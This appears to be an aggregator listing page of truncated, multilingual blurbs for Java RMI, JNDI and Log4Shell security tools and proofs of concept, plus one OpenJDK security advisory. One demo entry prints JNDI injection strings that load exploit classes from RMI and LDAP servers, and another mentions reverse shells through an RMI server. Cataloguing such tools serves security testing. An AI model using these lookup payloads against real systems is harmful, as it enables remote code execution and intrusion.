Log4j-JNDIServer

Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...

BaRMIe

BaRMIe BaRMIeは、Java RMI（Remote Method Invocation）サービスの列挙と攻撃を目的としたツールです。 RMIサービスは、適切なセキュリティ制御なしに危険な機能を公開することがよくありますが、効果的なテストツールが不足しているため、セキュリティ評価の際にRMIサービスは見過ごされがちです。2008年、Adam BoultonはAppSec...

OESA-2026-3754 openjdk-17 security update

The OpenJDK runtime environment. Security Fixes: Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE component: RMI. Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9...

CVE-2021-44228

CVE-2021-44228 こっちのお話の方がより実用性があると思います泣christophetd/log4shell-vulnerable-app 興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。 どうか、自己責任でお願いします。 再現環境を作る。 linux環境であれば動作すると思われます。 1. jdk のダウンロード jdk8u191 以降では com.sun.jndi.rmi.object.trustURLCodebase オプションが追加され、デフォルトが False になっています。 この状態では外部で用意した class...

CVE-2021-44228

CVE-2021-44228 漏洞复现 1. 先运行RmiServer以创建RMI注册服务。 2. 运行Log4jTest，如果你使用Windows，计算器将会弹出。...

rmiscout

説明 RMIScoutは、露出したJava RMIインターフェースに対してワードリストおよびブルートフォース攻撃を行い、メソッドシグネチャを安全に推測（呼び出しなし）することを可能にします。複数のJava RMIプロトコル、メソッド呼び出し、およびエクスプロイトをサポートしています。 機能概要 複数のタイプのJava RMIサーバーをサポート: RMI-JRMP（別名プレーンRMI、通常ポート1099）：リモートオブジェクトレジストリサービス（rmiregistry） RMI Activation Stubs（rmid経由） RMI-IIOP：Java...

RmiTaste

RmiTaste RmiTaste 允许安全专业人员通过使用 ysoserial 中的小工具调用远程方法来检测、枚举、交互和攻击 RMI 服务。它还允许使用特定参数调用远程方法。 免责声明 RmiTaste 旨在帮助安全专业人员识别系统中不安全的 RMI 服务，前提是用户已获得攻击该系统的许可。未经授权访问计算机系统是非法的，RmiTaste 必须遵守所有相关法律。否则可能导致您被起诉。RmiTaste 的开发者不承担任何责任，也不对因使用本程序造成的任何误用或损害负责。 构建与运行 需要 openjdk 11.0.3。 1. 下载 ysoserial-master-SNAPSHOT.j...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints...

remote-method-guesser

Remote Method Guesser remote-method-guesser （ rmg ）は Java RMI の脆弱性スキャナーであり、 Java RMI エンドポイントにおける一般的なセキュリティ脆弱性の特定および検証に使用できます。...

cve-2021-21985_exp

cve-2021-21985 エクスプロイト 0x01 脆弱性ポイント 分析から分かること： https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 エクスプロイト beansオブジェクトを再構築し、RCEを実現する。 beanリスト： root@kitploit: localizedMessageBundle vsanWorkerThreadFactory vsanThreadPoolImpl vsanServiceBundleActivator...

WebSphere-WSIF-gadget

WSIF Gadget for WebSphere CVE-2020-4464 / CVE-2020-4450 これは、ZDIの優れたブログ記事に基づいています（元のレポートは@tint0によるものです）： https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere https://www.zerodayinitiative.com/blog/2020/9/29/exploiting-other-remote-protocols-in-ibm-websphere...

ermir

Ermir Ermir 是一个邪恶/流氓 RMI 注册表，它利用对调用其标准 RMI 方法（list/lookup/bind/rebind/unbind）的任何 Java 代码进行不安全反序列化的漏洞。 要求 Ruby v3 或更新版本。 安装 从 rubygems.org 安装 Ermir： root@kitploit: $ gem install ermir 或克隆仓库并构建 gem： root@kitploit: $ git clone https://github.com/hakivvi/ermir.git $ rake install 用法 Ermir 是一个 CLI...

ermir

Ermir Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it list/lookup/bind/rebind/unbind. Requirements Ruby v3 or newer. Installation Install Ermir from rubygems.org: root@kitploit: $ gem install ermir or clone the repo and...

zkar

ZKar ZKar is a Java serialization protocol analysis tool implement in Go. This tool is still work in progress , so no complete API document and contribution guide. ZKar provides: A Java serialization payloads parser and viewer in pure Go, no CGO or JDK is required From the Java serialization...

log4shell-rmi-poc

log4shell-rmi-poc Log4j脆弱性（CVE-2021-44228）のJava-RMI経由でのProof of Concept spring-boot-starter-log4j2のLog4j 2.5.7を使用しています。 必要条件: Java 8（JDK 1.8.025）およびJava 11（JDK 11.0.1）でテスト済み POCの実行方法 1. リポジトリをクローン: root@kitploit: git clone https://github.com/Labout/log4shell-rmi-poc.git 2. 攻撃者側のRMIサーバーを起動...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy 测试环境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 由于外网有RMI远程服务器，很方便弹到shell; 如果在内网，你需要指定自己的RMI服务器，不然无法获取到反弹Shell !!! 0x01 generate-payload 0x02 send-payload root@kitploit: Payload:...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README 説明 JNDI-Injection-Exploit-Plus は、動作可能な JNDI リンク を生成し、RMI サーバー、LDAP サーバー、HTTP サーバーを起動してバックグラウンドサービスを提供するツールです。 このツールを使用すると、JNDI リンクを取得できます。これらのリンクを POC に挿入して、脆弱性をテストできます。 例えば、これは Fastjson の脆弱性 POC です： root@kitploit:...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228 を利用し、RMI と LDAP の 2 つの方法でコードをリモートから注入する例です。 root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer と LdapServer の起...

mjet

mjet Mogwai Security Java 管理扩展（JMX）漏洞利用工具包 mjet 是一个可用于保护配置不安全的 JMX 服务的工具。它基于 Braden Thomas/Accuvant 的博文“Exploiting JMX-RMI”（http://www.accuvant.com/blog/exploiting-jmx-rmi），可用于在目标系统上执行任意的 Metasploit 载荷。 mjet 最初计划成为一个完整的攻击工具包，但我们注意到 Metasploit 的 Github 仓库中有一个拉取请求，该请求将以原生 Ruby 提供基本的 Java...

EnumJavaLibs

EnumJavaLibs EnumJavaLibs：通过反序列化进行远程 Java classpath 枚举。 概述 EnumJavaLibs 可用于发现远程 Java 应用在支持反序列化时加载了哪些库（即可用于 classpath 的库）。 root@kitploit: ----------------- Serially - v1.1 by Stefan Broeder ----------------- Usage: EnumJavaLibs MODE OPTIONS MODES: base64 Write base64 encoded serialized objects to...